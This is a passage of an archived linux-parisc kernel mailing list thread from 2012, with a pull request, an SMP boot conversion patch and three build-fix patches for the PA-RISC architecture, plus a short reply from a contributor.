	by vger.kernel.org with ESMTP id S1751518Ab2EaK5Z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 May 2012 06:57:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 555E58EE151;
	Thu, 31 May 2012 03:57:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SODBuOFDDywi; Thu, 31 May 2012 03:57:23 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 23AE08EE0E4;
	Thu, 31 May 2012 03:57:21 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4474 gmane.linux.kernel:1306058
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4474>

This is a couple of updates to complete our fixes and one to fix a
compile failure caused during the merge window.  Additionally, we now
switch to the generic strncopy_from_user.

The update is available here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-misc

The short changelog is:

James Bottomley (3):
      [PARISC] update parisc to use generic strncpy_from_user()
      [PARISC] Fix parisc compile failure after smp: Add task_struct argument to __cpu_up()
      [PARISC] fix TLB fault path on PA2.0 narrow systems

John David Anglin (1):
      [PARISC] fix boot failure on 32-bit systems caused by branch stubs placed before .text

And the diffstat:

 arch/parisc/Kconfig               |    1 +
 arch/parisc/include/asm/smp.h     |    2 --
 arch/parisc/include/asm/uaccess.h |    5 ++---
 arch/parisc/kernel/entry.S        |   30 +++++++++++++++------------
 arch/parisc/kernel/parisc_ksyms.c |    1 -
 arch/parisc/kernel/vmlinux.lds.S  |    6 ++++--
 arch/parisc/lib/lusercopy.S       |   41 -------------------------------------
 7 files changed, 24 insertions(+), 62 deletions(-)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 24/27] parisc, smpboot: Use generic SMP booting infrastructure
Date: Fri, 01 Jun 2012 14:45:54 +0530
Lines: 94
Approved: news@gmane.org
Message-ID: <20120601091549.31979.6082.stgit@srivatsabhat.in.ibm.com>
References: <20120601090952.31979.24799.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338544695 3546 80.91.229.3 (1 Jun 2012 09:58:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 1 Jun 2012 09:58:15 +0000 (UTC)
Cc: rusty@rustcorp.com.au, mingo@kernel.org, yong.zhang0@gmail.com,
	akpm@linux-foundation.org, vatsa@linux.vnet.ibm.com, rjw@sisk.pl,
	linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	srivatsa.bhat@linux.vnet.ibm.com, nikunj@linux.vnet.ibm.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Mike Frysinger <vapier@gentoo.org>,
	David Howells <dhowells@redhat.com>,
	linux-parisc@vger.kernel.org
To: tglx@linutronix.de, peterz@infradead.org,
	paulmck@linux.vnet.ibm.com
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jun 01 11:58:09 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SaOcS-0001C9-Pj
	for glka-linux-arch@plane.gmane.org; Fri, 01 Jun 2012 11:58:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759359Ab2FAJ6H (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 1 Jun 2012 05:58:07 -0400
Original-Received: from e23smtp05.au.ibm.com ([202.81.31.147]:54887 "EHLO
	e23smtp05.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758790Ab2FAJ6G (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 1 Jun 2012 05:58:06 -0400
Original-Received: from /spool/local
	by e23smtp05.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-arch@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Fri, 1 Jun 2012 09:16:27 +1000
Original-Received: from d23relay05.au.ibm.com (202.81.31.247)
	by e23smtp05.au.ibm.com (202.81.31.211) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Fri, 1 Jun 2012 09:12:53 +1000
Original-Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96])
	by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q5199tGV32702484;
	Fri, 1 Jun 2012 19:10:21 +1000
Original-Received: from d23av01.au.ibm.com (loopback [127.0.0.1])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q519Gems000361;
	Fri, 1 Jun 2012 19:16:42 +1000
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.113])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q519Ga6H032717;
	Fri, 1 Jun 2012 19:16:36 +1000
In-Reply-To: <20120601090952.31979.24799.stgit@srivatsabhat.in.ibm.com>
User-Agent: StGIT/0.14.3
x-cbid: 12053123-1396-0000-0000-00000154A59E
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14361 gmane.linux.kernel:1306542 gmane.linux.ports.parisc:4476
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14361>

Convert parisc to use the generic framework to boot secondary CPUs.

Notes:
1. The secondary cpu was being set in the cpu_online_mask way too early
when things aren't initialized fully yet. Postpone that.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Mike Frysinger <vapier@gentoo.org>
Cc: David Howells <dhowells@redhat.com>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/parisc/kernel/smp.c |   30 ++++++++++++++----------------
 1 files changed, 14 insertions(+), 16 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 6266730..a6199e2 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -32,6 +32,7 @@
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
 #include <linux/cpu.h>
+#include <linux/smpboot.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -280,8 +281,6 @@ static void __init
 smp_cpu_init(int cpunum)
 {
 	extern int init_per_cpu(int);  /* arch/parisc/kernel/processor.c */
-	extern void init_IRQ(void);    /* arch/parisc/kernel/irq.c */
-	extern void start_cpu_itimer(void); /* arch/parisc/kernel/time.c */
 
 	/* Set modes and Enable floating point coprocessor */
 	(void) init_per_cpu(cpunum);
@@ -297,10 +296,12 @@ smp_cpu_init(int cpunum)
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
 	}
+}
 
-	notify_cpu_starting(cpunum);
-
-	set_cpu_online(cpunum, true);
+void __cpuinit __cpu_pre_online(void *unused)
+{
+	extern void init_IRQ(void);    /* arch/parisc/kernel/irq.c */
+	extern void start_cpu_itimer(void); /* arch/parisc/kernel/time.c */
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
@@ -310,6 +311,9 @@ smp_cpu_init(int cpunum)
 
 	init_IRQ();   /* make sure no IRQs are enabled or pending */
 	start_cpu_itimer();
+
+	flush_cache_all_local(); /* start with known state */
+	flush_tlb_all_local(NULL);
 }
 
 
@@ -319,20 +323,14 @@ smp_cpu_init(int cpunum)
  */
 void __init smp_callin(void)
 {
+	smpboot_start_secondary(NULL);
+}
+
+void __cpuinit __cpu_pre_starting(void *unused)
+{
 	int slave_id = cpu_now_booting;
 
 	smp_cpu_init(slave_id);
-	preempt_disable();
-
-	flush_cache_all_local(); /* start with known state */
-	flush_tlb_all_local(NULL);
-
-	local_irq_enable();  /* Interrupts have been off until now */
-
-	cpu_idle();      /* Wait for timer to schedule some work */
-
-	/* NOTREACHED */
-	panic("smp_callin() AAAAaaaaahhhh....\n");
 }
 
 /*


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0/3] fix recent parisc build breakages
Date: Tue, 05 Jun 2012 13:47:59 +0900
Lines: 23
Approved: news@gmane.org
Message-ID: <1338871679.5176.7.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338871693 8748 80.91.229.3 (5 Jun 2012 04:48:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jun 2012 04:48:13 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 05 06:48:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sblgd-00057p-B7
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Jun 2012 06:48:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751731Ab2FEEsC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jun 2012 00:48:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54347 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751627Ab2FEEsC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jun 2012 00:48:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 51E678EE118
	for <linux-parisc@vger.kernel.org>; Mon,  4 Jun 2012 21:48:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id e6Cm2yM8j7X2 for <linux-parisc@vger.kernel.org>;
	Mon,  4 Jun 2012 21:48:01 -0700 (PDT)
Original-Received: from [172.16.11.36] (221x245x165x18.ap221.ftth.ucom.ne.jp [221.245.165.18])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C59388EE0A5
	for <linux-parisc@vger.kernel.org>; Mon,  4 Jun 2012 21:48:00 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4478>

I was hoping that 3.5-rc1 would allow us to build perfectly.
Unfortunately, there were three compile breakages introduced in the last
few days of the merge window, so these are the three fixes

James Bottomley (3):
      fix missing TAINT_WARN problem
      fix compile break in use of lib/strncopy_from_user.c
      fix code to find libgcc

 arch/parisc/Makefile           |    3 ++-
 arch/parisc/include/asm/Kbuild |    1 +
 arch/parisc/include/asm/bug.h  |    2 ++
 3 files changed, 5 insertions(+), 1 deletions(-)


James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/3] fix missing TAINT_WARN problem
Date: Tue, 05 Jun 2012 13:52:03 +0900
Lines: 42
Approved: news@gmane.org
Message-ID: <1338871923.5176.9.camel@dabdike>
References: <1338871679.5176.7.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338871929 10250 80.91.229.3 (5 Jun 2012 04:52:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jun 2012 04:52:09 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 05 06:52:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SblkV-00042M-3n
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Jun 2012 06:52:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753495Ab2FEEwH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jun 2012 00:52:07 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54357 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752219Ab2FEEwF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jun 2012 00:52:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6EFF58EE118;
	Mon,  4 Jun 2012 21:52:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Fej5rwteEjpQ; Mon,  4 Jun 2012 21:52:05 -0700 (PDT)
Original-Received: from [172.16.11.36] (221x245x165x18.ap221.ftth.ucom.ne.jp [221.245.165.18])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C429C8EE0A5;
	Mon,  4 Jun 2012 21:52:04 -0700 (PDT)
In-Reply-To: <1338871679.5176.7.camel@dabdike>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4479>

>From ad71a7070fd5912420c443b020c6cf796518f3e9 Mon Sep 17 00:00:00 2001
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Sun, 3 Jun 2012 01:49:32 -0700
Subject: fix missing TAINT_WARN problem

Al viro broke us with

commit edd63a2763bdae0daa4f0a4d4c5d61d1154352a5
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Apr 27 13:42:45 2012 -0400

    set_restore_sigmask() is never called without SIGPENDING (and never should be)

Although it's pretty much our fault since parisc's asm/bug.h uses
BUGWARN_TAINT but doesn't include the file that defines it.  Fix that.
---
 arch/parisc/include/asm/bug.h |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 72cfdb0..62a3333 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_BUG_H
 #define _PARISC_BUG_H
 
+#include <linux/kernel.h>	/* for BUGFLAG_TAINT */
+
 /*
  * Tell the user there is some problem.
  * The offending file and line are encoded in the __bug_table section.
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/3] fix compile break in use of lib/strncopy_from_user.c
Date: Tue, 05 Jun 2012 13:53:04 +0900
Lines: 34
Approved: news@gmane.org
Message-ID: <1338871984.5176.10.camel@dabdike>
References: <1338871679.5176.7.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338871991 10559 80.91.229.3 (5 Jun 2012 04:53:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jun 2012 04:53:11 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 05 06:53:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SbllT-00042M-7J
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Jun 2012 06:53:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753489Ab2FEExH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jun 2012 00:53:07 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54369 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752219Ab2FEExF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jun 2012 00:53:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B11968EE119;
	Mon,  4 Jun 2012 21:53:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pE0bP3vm_pBd; Mon,  4 Jun 2012 21:53:05 -0700 (PDT)
Original-Received: from [172.16.11.36] (221x245x165x18.ap221.ftth.ucom.ne.jp [221.245.165.18])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 267E98EE0A5;
	Mon,  4 Jun 2012 21:53:05 -0700 (PDT)
In-Reply-To: <1338871679.5176.7.camel@dabdike>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4480>

Linus broke us with

commit 36126f8f2ed8168eb13aa0662b9b9585cba100a9
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat May 26 10:43:17 2012 -0700

    word-at-a-time: make the interfaces truly generic

By moving functions defined in strncopy_from_user.c into the asm-geneic
version word-at-a-time.h.  Spark and OpenRisc were fixed to use this, but
not parisc.  Fix by adding to generic-y in asm/Kbuild
---
 arch/parisc/include/asm/Kbuild |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 19a434f..4383707 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,3 +1,4 @@
 include include/asm-generic/Kbuild.asm
 
 header-y += pdc.h
+generic-y += word-at-a-time.h
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 3/3] fix code to find libgcc
Date: Tue, 05 Jun 2012 13:54:09 +0900
Lines: 46
Approved: news@gmane.org
Message-ID: <1338872049.5176.11.camel@dabdike>
References: <1338871679.5176.7.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338872054 10909 80.91.229.3 (5 Jun 2012 04:54:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jun 2012 04:54:14 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 05 06:54:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SblmW-00042M-FK
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Jun 2012 06:54:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751910Ab2FEEyM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jun 2012 00:54:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54378 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750897Ab2FEEyM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jun 2012 00:54:12 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C9C438EE13B;
	Mon,  4 Jun 2012 21:54:11 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 77Wu3H6AaxLF; Mon,  4 Jun 2012 21:54:11 -0700 (PDT)
Original-Received: from [172.16.11.36] (221x245x165x18.ap221.ftth.ucom.ne.jp [221.245.165.18])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 38D178EE119;
	Mon,  4 Jun 2012 21:54:11 -0700 (PDT)
In-Reply-To: <1338871679.5176.7.camel@dabdike>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4481>

Sam broke this with

commit 1f2bfbd00e466ff3489b2ca5cc75b1cccd14c123
Author: Sam Ravnborg <sam@ravnborg.org>
Date:   Sat May 5 10:18:41 2012 +0200

    kbuild: link of vmlinux moved to a script

But we should be deriving the location of libgcc in the same way as all
the other archs, so fix by adding a LIBGCC variable which is evaluated
in the makefile
---
 arch/parisc/Makefile |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index dbc3850..5707f1a 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -21,6 +21,7 @@ KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
+LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
 MACHINE		:= $(shell uname -m)
 ifeq ($(MACHINE),parisc*)
@@ -79,7 +80,7 @@ kernel-y			:= mm/ kernel/ math-emu/
 kernel-$(CONFIG_HPUX)		+= hpux/
 
 core-y	+= $(addprefix arch/parisc/, $(kernel-y))
-libs-y	+= arch/parisc/lib/ `$(CC) -print-libgcc-file-name`
+libs-y	+= arch/parisc/lib/ $(LIBGCC)
 
 drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
 
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 3/3] fix code to find libgcc
Date: Tue, 5 Jun 2012 08:55:11 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20120605065511.GA29003@merkur.ravnborg.org>
References: <1338871679.5176.7.camel@dabdike> <1338872049.5176.11.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1338879325 23776 80.91.229.3 (5 Jun 2012 06:55:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jun 2012 06:55:25 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 05 08:55:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sbnfe-0001To-PD
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Jun 2012 08:55:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275Ab2FEGzO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jun 2012 02:55:14 -0400
Original-Received: from smtp.snhosting.dk ([87.238.248.203]:32199 "EHLO
	smtp.domainteam.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751134Ab2FEGzO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jun 2012 02:55:14 -0400
Original-Received: from merkur.ravnborg.org (unknown [188.228.89.252])
	by smtp.domainteam.dk (Postfix) with ESMTPA id 1B97DF1B46;
	Tue,  5 Jun 2012 08:55:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1338872049.5176.11.camel@dabdike>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4482>

On Tue, Jun 05, 2012 at 01:54:09PM +0900, James Bottomley wrote:
> Sam broke this with
Soory!
> 
> commit 1f2bfbd00e466ff3489b2ca5cc75b1cccd14c123
> Author: Sam Ravnborg <sam@ravnborg.org>
> Date:   Sat May 5 10:18:41 2012 +0200
> 
>     kbuild: link of vmlinux moved to a script
> 
